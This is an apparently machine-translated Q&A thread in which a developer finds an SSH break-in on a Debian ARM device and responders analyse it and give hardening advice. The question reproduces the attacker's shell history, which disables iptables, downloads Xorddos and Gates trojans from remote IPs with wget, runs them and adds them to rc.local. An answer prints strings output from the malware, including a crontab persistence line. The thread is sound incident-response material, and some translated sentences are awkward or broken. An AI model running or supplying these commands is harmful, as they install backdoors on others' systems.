我只是被黑了吗?


492

我正在开发消费产品,并且应该将其连接到Internet,因此,正如预期的那样,它已连接到Internet,以便我可以正确地开发它。

我离开了一两个小时,回到办公室后,我注意到终端上写了一些奇怪的命令。

查看名为的Linux日志文件,auth.log可以看到以下几行(以及更多行):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

该IP地址40.127.205.162原来是Microsoft拥有的

这是我不在时使用的一堆命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

和更多:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

我完全不知道这一点。如何正确保护我的产品?

我想发布完整的auth.log文件。我怎么做?

另外,yjz1根据http://anti-hacker-alliance.com/index.php?ip=40.127.205.162,下载的文件似乎是Linux木马,并且所有这些似乎都是由某种黑客组织完成的。

我应该打电话给Microsoft并与他们交谈吗?我该怎么办?


40
是的,看起来不太好。无论如何,我都不是Linux方面的专家,但是肯定可以尝试在此处执行某些操作。我不太确定如何尝试以root用户身份登录并失败。auth.log中是否还有其他日志?还有其他远程管理方式吗?我曾经看到启用了VNC服务器的Mac之前通过这种方法被黑客入侵,尽管这看起来像是SSH尝试。看起来它从中下载的IP托管在中国的某个地方。
Jonno

68
你被强暴了。这就是为什么即使您有密码也不会将ssh服务器留在互联网上的原因。如今,基于密钥的身份验证缺少任何安全措施。
Journeyman Geek

80
好吧,我们有security.stackexchange.com。但首先要注意的是:受到威胁的主机不再受信任。将其从网络上删除。如果可能,请进行备份,以便您可以研究完成的内容和完成的方式。接下来,从干净的来源重新安装操作系统。从备份还原数据。 保护系统安全,以免再次受到感染。强烈建议找出他们是如何进入的。(因此,建议复制受感染的系统)。
Hennes

84
仅供参考:40.127.205.162是根据GeoIP 的Microsoft Azure IP地址。因此,您不能将攻击归咎于Microsoft-等同于归咎于Amazon,因为有人使用EC2来发送垃圾邮件。微软唯一能做的就是将攻击者赶出Azure,但是他们很快就会回到另一个云平台上。
nneonneo '02

41
实际上,如果这是在您的终端中编写的,则黑客可能正坐在下一个隔间中。
isanae '16

Answers:


487

编辑2

有一个很好的理由可以使这篇文章引起如此多的关注:您设法在PC上记录了入侵者的整个实时会话。这与我们的日常经历有很大的不同,在我们的日常经历中,我们处理发现他的行为后果并试图纠正它们的后果。在这里,我们看到他在工作,看到他在建立后门时遇到一些问题,回溯他的脚步,发狂地工作(也许是因为他正坐在你的办公桌上,如上面所建议的,或者在我看来,很可能是因为他是无法使其恶意软件在系统上运行(请参阅下文),并尝试部署完全独立的控制工具。这就是安全研究人员每天用蜂蜜陷阱所见证的。对我来说,这是一个非常难得的机会,也是一些娱乐的源泉。


你肯定被黑了。这样做的证据并非来自auth.log您显示的文件的片段,因为这表明登录尝试失败,发生的时间较短(两秒)。您会注意到第二行指出Failed password,而第三行指出pre-auth断开连接:此人尝试失败。

证据来,而不是从两个文件的内容 http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1它的攻击者下载到您的系统。

该网站目前对所有人开放,我可以下载它们。我首先运行file它们,显示:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

然后,我将它们带到了我拥有的64位Debian VM上。通过strings命令检查它们的内容,发现了很多可疑的内容(参考各种众所周知的攻击,要替换的命令,明显用于设置新服务的脚本,等等)。

然后,我生成了两个文件的MD5哈希,然后将它们馈送到Cymru的哈希数据库中,以查看它们是否是恶意软件的已知代理。虽然yjz不是,但yjz1Cymru报告说,防病毒软件检测到的可能性为58%。它还指出此文件是三天前最后一次看到,因此它是最近的。

在我获得的两个文件上运行clamscanclamav软件包的一部分):

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

因此我们现在可以确定标准的Linux软件可以识别它。

你该怎么办?

尽管这是一个很新的系统,但两个系统都不是很新,例如,请参阅有关XorDdos的这篇2015年1月的文章。因此,大多数免费软件包都应能够将其删除。你应该尝试:clamavrkhunterchkrootkit。我在Google周围搜索,看到他们声称能够发现它。使用它们检查前任的工作,但是在运行这三个程序之后,您应该可以使用了。

对于更大的问题,what should you do to prevent future infectionsJourneyman的答案是一个很好的第一步。请记住,这是一场持续不断的斗争,我们所有人(包括我!)都可能在不知不觉中迷失了自己。

编辑

在Viktor Toth的(间接)提示下,我想添加一些评论。入侵者确实遇到了一些困难:他下载了两种截然不同的黑客工具,多次更改了它们的权限,多次重新启动了它们,然后尝试多次禁用防火墙。很容易猜到发生了什么:他希望自己的黑客工具为他受感染的个人电脑之一打开通信通道(请参阅下文),并且当他看不到此新通道出现在其控制GUI上时,他担心自己的黑客行为该工具被防火墙阻止,因此他重复了安装过程。我同意维克多·托特(Viktor Toth)的观点,认为他的这一特定运作阶段似乎并没有取得预期的成果,但我要非常鼓励您 不要低估对您的电脑造成的损害程度。

我在这里提供的部分输出strings yjz1

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

这提供了使用,带有的历史记录文件以及指向的两个文件进行链接(表明已植入定制的欺诈性Shell版本)来篡改服务(in /etc/init.d和in中/etc/rc.d)的证据。然后,程序会生成一个HTTP请求(向中文站点,crontabmysqlprocbash

 Accept-Language: zh-cn

这为David Schwartz的上述评论提供了实质内容),这可能会造成更大的破坏。在请求中,二进制文件(Content-Type: application/x-www-form-urlencoded)将下载到受攻击的PC(GET),然后上传到控制计算机(POST)。我无法确定什么会被下载到个人电脑的攻击,但鉴于两者的尺寸小yjzyjz1(1.1MB和600KB,repectively),我可以大胆推测,最需要的文件斗篷rootkit的,改变的的版本lsnetstatpsifconfig,...,就可以下载这种方式。这就可以解释攻击者为使下载继续进行的疯狂尝试。

不能确定上述内容是否会用尽所有可能性:我们当然缺少部分成绩单(在第457和481行之间),并且看不到注销;此外,尤其令人担忧的是495-497行,

cd /tmp;  ./yd_cd/make

指的是我们未下载的文件,可能是编译的文件:如果是这样,则意味着攻击者(最终是?)了解其可执行文件存在的问题,并正在尝试对其进行修复,在这种情况下,被攻击的PC永远消失了。[事实上,攻击者下载到被黑客攻击的计算机上(以及我下载到我的64位Debian VM上)的两个版本的恶意软件是针对不合适的体系结构x86的,而被黑客入侵的pc的名称本身就说明了这样一个事实:他正在处理手臂架构]。

我之所以写这篇文章是为了敦促您尽可能将系统与专业仪器配合使用,或者从头开始重新安装。

而且,顺便说一句,如果这对任何人都有用,这就是尝试连接的331个 IP地址的列表yjz。此列表太大(并且可能注定还会变得更大),我相信这就是篡改的原因mysql。另一个后门提供的列表是相同的,我认为这是将如此重要的信息公开公开的原因(我认为攻击者不希望将其存储为内核格式,因此他将整个列表放在一个纯文本文件中,无论使用哪种操作系统,他的所有后门程序都可以读取该文件:

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

以下代码

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

上面的列表显示,在331个地址中,有302个位于中国大陆,其余的位于香港,蒙古,台湾。这进一步支持了大卫·施瓦茨(David Schwartz)的论点,即这主要是中国机器人圈。

编辑3

在@vaid的要求下(OP的作者,请阅读下面的评论),我将添加有关如何增强基本Linux系统安全性的评论(对于提供许多服务的系统,这是一个更为复杂的主题)。vaid声明他做了以下事情:

  1. 重新安装系统

  2. 将root密码更改为16个字符长的密码,混合使用大小写字母,字符和数字。

  3. 将用户名更改为6个混合字符长的用户名,并应用与root用户相同的密码

  4. 将SSH端口更改为5000以上

  5. 关闭SSH根登录。

很好(除非我使用10,000以上的端口,因为许多有用的程序都使用10,000以下的端口)。但是我不能足够强调需要使用加密密钥而不是密码来进行ssh登录。我会给你一个个人的例子。在我的一个VPS上,我不确定是否要更改ssh端口。我将其保留在22岁,但使用加密密钥进行身份验证。我有数百个磨合尝试每天,但没有成功。当我厌倦了每天检查没有人成功时,我最终将端口切换到10,000以上,闯入尝试变为零。请注意,这并不是说黑客是愚蠢的(他们不是!),他们只是在寻找更容易的猎物。

使用RSA作为签名算法来激活加密密钥很容易,请参阅Jan Hudec在下面的评论(谢谢!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

现在,您要做的就是将文件复制id_rsa到要连接的计算机上(在目录中.ssh,也设置chmod为700),然后发出命令

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

当确定此方法有效时,请在服务器(=要连接的计算机)上编辑文件/etc/ssh/sshd_config,然后更改行

#PasswordAuthentication yes

PasswordAuthentication no

并重新启动ssh服务(service ssh restartsystemctl restart ssh,取决于发行版)。

这将承受很多。实际上,目前尚没有针对openssh v2所使用的RSA和RSA 的当前版本的已知利用openssh v2

最后,为了真正关闭您的计算机,您将需要配置防火墙(netfilter / iptables),如下所示:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

这样,1)允许来自LAN和WAN的ssh连接,2)允许所有源自您的请求的输入(例如,当您加载网页时),3)丢弃输入中的所有其他内容,4)允许所有内容输出和5-6)允许回送接口上的所有内容。

随着需求的增长和需要打开更多端口,可以通过在列表顶部添加以下规则来做到这一点:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

例如允许人们访问您的Web浏览器。


11
读起来很棒。我还yjz1通过Google VirusTotal.com尝试了该文件,结果令人满意。我什至没有看到yjz已经下载。谢谢。
2016年

34
小心运行strings不受信任的数据。lcamt​​uf.blogspot.com/2014/10/…–
马特·诺德霍夫

5
@MattNordhoff感谢您指出这一点,我很高兴没有意识到这一点。但是,在我的Debian上,'strings'命令通过了与彩色链接的测试。我认为这是由于手册指出:-a ...通常这是默认行为。干杯。
MariusMatutiae '16

32
该答案显示了应该作为范例的一种方法:1.不要让失败的尝试转移您的注意力,引起警惕。2.个性化攻击者的成功行动。3.研究攻击者的行为和方式。4.从头开始安装所有文件,或者从上一个未损坏(受攻击的)备份中安装所有文件,并添加所需的其他保护(点3)。5.帮助其他人保护自己(受感染/可疑IP的列表)。
Hastur

11
[由@MariusMatutiae评论后删除] -尽管如此,OP应该认识到,一个感染的系统上,每一个可执行文件必须被认为是恶意的,甚至壳,lswho或其他任何东西。通过在受感染系统(例如scprsync)上使用任何可执行文件来“抢救数据” 可能会危害更多计算机。
迪布

142

欢迎使用Internet-可能会对任何开放的SSH服务器进行探测,强行使用,并对其施加各种侮辱。

首先,您需要完全擦除产品上的存储空间。如果希望将其传递给取证,请对其进行映像处理,但是现在怀疑在其上安装了Linux。

有点猜测,但

  1. 您被强行使用使用通用密码。出于安全性考虑,但是您不希望使用字典密码使用对SSH开放的根帐户。如果可以,请禁用root SSH访问,或者至少更改名称,以便他们需要同时猜测两者。无论如何,以root身份进行SSH都是可怕的安全实践。如果必须使用root用户,请以其他用户身份登录并使用su或sudo进行切换。

  2. 根据产品的不同,您可能希望以某种方式锁定SSH访问。完全锁定似乎是个好主意,并允许用户根据需要将其打开。根据可以节省的资源,考虑只允许在自己的子网或某种类型的登录限制系统中使用IP地址。如果最终产品上不需要它,请确保已将其关闭。

  3. 使用非标准端口。默默无闻的安全性,但这意味着攻击者需要将您的端口作为目标。

  4. 永远不要使用默认密码。我见过的最好的方法是为特定设备随机生成一个密码,并将其与产品一起发货。最佳实践是基于密钥的身份验证,但是我不知道您如何在大众市场产品上实现这一目标。


76
5.尽可能使用公共密钥身份验证。密码验证远不如安全。
鲍勃,

4
是的,但是如果它是消费类设备,则可能不是一个选择。在开发平台上,这听起来是个绝妙的主意。在服务器上,好吧,我确实在被黑之前; p
Journeyman Geek

2
如果是消费类设备,那么所有这些设备上使用相同的随机密码或密钥也是一个坏主意。就像任何基于其序列号,其MAC或其他可识别信息的内容一样。(许多SoHO调制解调器/路由器/ WAP似乎缺少的东西)。
Hennes'2

2
它是消费类设备。但是,绝大多数目标消费者的教育程度不足以了解SSH是什么。因此可以关闭SSH,并且很可能将其关闭。
2016年

2
另外,请使用fail2ban
Shadur '16

34

哦,你肯定被黑了。似乎有人已经能够获取根凭据,并试图将木马下载到您的系统。MariusMatutiae提供了对有效载荷的分析。

有两个问题:a)攻击者成功了吗?b)你能做些什么?

第一个问题的答案可能是“否”。请注意,攻击者如何反复尝试下载并运行有效负载,显然没有成功。我怀疑某种东西(SELinux,性能?)妨碍了他。

但是:攻击者还更改了您的/etc/rc.d/rc.local文件,希望当您重新启动系统时,有效负载将被激活。如果尚未重启系统,请先从中删除这些更改,然后再重启/etc/rc.d/rc.local。如果您已经重新启动它...好吧,祝您好运。

关于您可以做什么:最安全的做法是擦拭系统并从头开始重新安装。但这可能并不总是一种选择。要安全得多的事情是,如果可能的话,准确地分析发生的事情并擦掉所有痕迹。同样,如果您还没有重新启动系统,则可能所有操作都很简单/etc/rc.d/rc.local,删除攻击者下载的所有内容,最后但并非最不重要的一点是,更改织补密码!

但是,如果攻击者已经能够运行有效负载,则可能对您的系统进行了其他修改,可能很难检测到。这就是为什么完全擦拭实际上是唯一安全(推荐)的原因。正如您所指出的,所讨论的设备可能是测试/开发目标,因此也许擦拭并不像在其他情况下那样痛苦。

更新:尽管我写了一篇关于可能的恢复的文章,但我还是想回应MariusMatutiae的非常强烈的建议,不要低估此有效载荷可能造成的潜在损害以及它可能损害目标系统的程度。


2
谢谢。我决定擦除系统。我重新启动了几次,但只是为了复制一些基本数据。没有二进制文件,只有源代码。我想我现在很安全。
2016年

那同一局域网上的其他盒子呢?
WGroleau '16

好问题。提供的外壳程序历史记录并不表示有任何尝试发现和破坏同一网络上的其他设备。更普遍的是,如果攻击者获得对一个盒子的SSH(根)访问权限,则基本上意味着该攻击者已经绕过了所有外围防火墙。然而,这并不必然意味着其他框被泄露:这将需要别的东西像一个未打补丁的漏洞,密码箱之间分享从一个盒子到另一个,等等,自动登录
维克托·托特

18

我的sshd-honeypot也看到了这种攻击。该URL的首次下载开始于2016-01-29 10:25:33,并且攻击仍在进行中。攻击来自/来自

103.30.4.212
111.68.6.170
118.193.228.169

这些攻击者的输入是:

服务iptables停止
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2>&1&
chmod 0777 yjz1
chmod u + x yjz1
./yjz1&
chmod u + x yjz1
./yjz1&
cd / tmp

因此,除了以后安装后门外,没有其他活动。


同意,这是相同的MO。
MariusMatutiae '16

1
@MariusMatutiae那么,这不是手动黑客吗?这是一种自我传播的蠕虫/机器人吗?
NickG '16

1
@NickG我最大的猜测是这不是手动破解。vaid与位于中国的僵尸网络的发起者在同一办公室工作的可能性是多少?有人发现他的计算机中有一个可利用的弱点,最有可能是一个安全性较差的ssh服务器,强行使用了他的密码,获得了访问权限,并试图秘密安装自己。但是,我也敢打赌,与Windows相比,攻击者更能使用Windows。但是我对此没有确切的证据,只是有根据的猜测。
MariusMatutiae

12

这里的每个人都提供了扎实的建议,但要明确一点,您应该优先考虑备份并验证该系统的真正需求,然后使用已知安全介质中的全新安装来擦除它。

在将新安装的主机连接到Internet之前,请执行以下操作:

  1. 创建一个新的非root用户,然后以该用户身份登录。您永远不需要以root用户身份登录,只需在需要时使用sudo(替代用户身份)即可。

  2. 安装SE Linux,启用强制访问控制的配置设置:https : //wiki.debian.org/SELinux/Setup

  3. 考虑办公室/家庭和Internet之间的硬件防火墙。我使用MicroTik,它具有出色的社区支持:http ://routerboard.com/ 。

假设您在完成付费工作的时间表上,至少要做#1。#3快速且便宜,但您要么需要等待邮件中的包裹,要么开车去商店。


3
而且,最重要的是,不要让您的电脑在开放的root会话下无人值守!
MariusMatutiae '16

11
  1. Debian的armhf您的主机名?还是您使用默认设置进行默认安装?没问题,但是您不应该允许主机直接暴露于Internet(即,至少不受调制解调器保护)。

  2. 看起来真正的麻烦来自222.186.30.209(请参阅http://anti-hacker-alliance.com/index.php?ip=222.186.30.209)。您不应无所顾忌地看到Microsoft的IP。IP或多或少可以很容易地被伪造/欺骗。

  3. 连接到Internet的通常方法是将已知端口的列表从您的公共IP(例如8.8.8.8)转发到本地(例如192.168.1.12)。

    • 例如,不要将所有传入的连接从8.8.8.8(公共)转发到192.168.1.12(本地)。

    • 仅转发端口2225(分别为ssh和传入邮件)。当然,您还应该拥有最新的sshsmtp软件包/库。

  4. 下一步是什么?断开主机的连接,并更改在外壳脚本中硬编码的密码(在与该组织关联的任何计算机上)(对您很可惜!)/etc/shadow


1.是,debian-armhf是主机名。2.是,我已阅读该文章,并通过其网站cest.microsoft.com与Microsoft联系。3.我只转发了25和22,没有其他转发。4.我会这样做
无效

“ IP或多或少容易伪造”:我既不是安全专家,也不是网络专家。那怎么可能?
kevinarpe

@kevinarpe作为一个单独的问题,这可能要好得多。
CVn


2
@Archemar:SSH是TCP; 如果不是不可能的话,伪造TCP源IP也很困难。另外,如上所述,Microsoft IP属于其云服务Azure,这意味着任何人都可能会花时间在该服务上攻击他人。
nneonneo

9

正如其他人所述,很明显,服务器的安全性已受到损害。最安全的方法是擦拭本机并重新安装。

要回答问题的第二部分,如果您不能使用公共密钥身份验证,我建议至少设置Fail2Ban并在非标准端口上运行SSH。我也禁用root SSH访问。

Fail2Ban将通过禁止无法登录特定次数的IP地址来帮助缓解暴力攻击。

将sshd设置为在非标准端口上侦听至少会帮助稍微减少SSH服务器的可见性。禁用root登录也可以稍微降低攻击性能。在/etc/sshd_config

PermitRootLogin no
Port xxxxx

禁用root登录后,您将需要在连接后切换到root用户su,或者(更可取的是)用于sudo执行特权命令。


我都做了这两个,谢谢你的建议。
无效

8

SSH服务器不断受到Internet的攻击。您要做的几件事:

  1. 对于用于Internet访问的计算机,请确保使用非常安全的随机密码。我的意思是至少16个字符,并且完全随机。使用密码管理器,因此您不必记住它。如果您可以记住密码,那就太简单了。

  2. 如果不需要SSH,请将其关闭。如果确实需要它,但又不需要公开访问它,请在较高的非标准端口号上运行它。这样做将大大减少黑客尝试的次数。是的,专门的黑客可以进行端口扫描,但自动程序无法找到它。

身份验证日志中的代码段显示尝试失败。但是,如果您进一步看,您无疑会看到成功的登录。如果您使用一个简单的密码,那么对于机器人来说这很简单。

您需要将此计算机与网络隔离。非常小心地将其取下,然后擦拭。


7
当我以前在端口22上运行ssh时,通常每天会有数千次hack尝试。当我更改为较高的端口号(超过50000)时,这些黑客尝试完全停止了。
user1751825 '02

16个字符不够安全。用户注销也很方便。只是不要将其设置为烫发锁定,使其过期,而应使其像一个小时。这样,您仍然可以访问服务器。
Ramhound '16

请注意,只要您具有强身份验证(公共密钥或强密码),对于安全性而言,步骤2)并不是严格必需的。
user20574 '16

2
@Ramhound为什么不呢?即使只是小写字母,也有16个小写字母为43608742899428874059776提供了可能性,这对于暴力破解是不切实际的,尤其是对于在线暴力破解而言,服务器使您每次尝试失败都需要等待。
user20574 '16

3
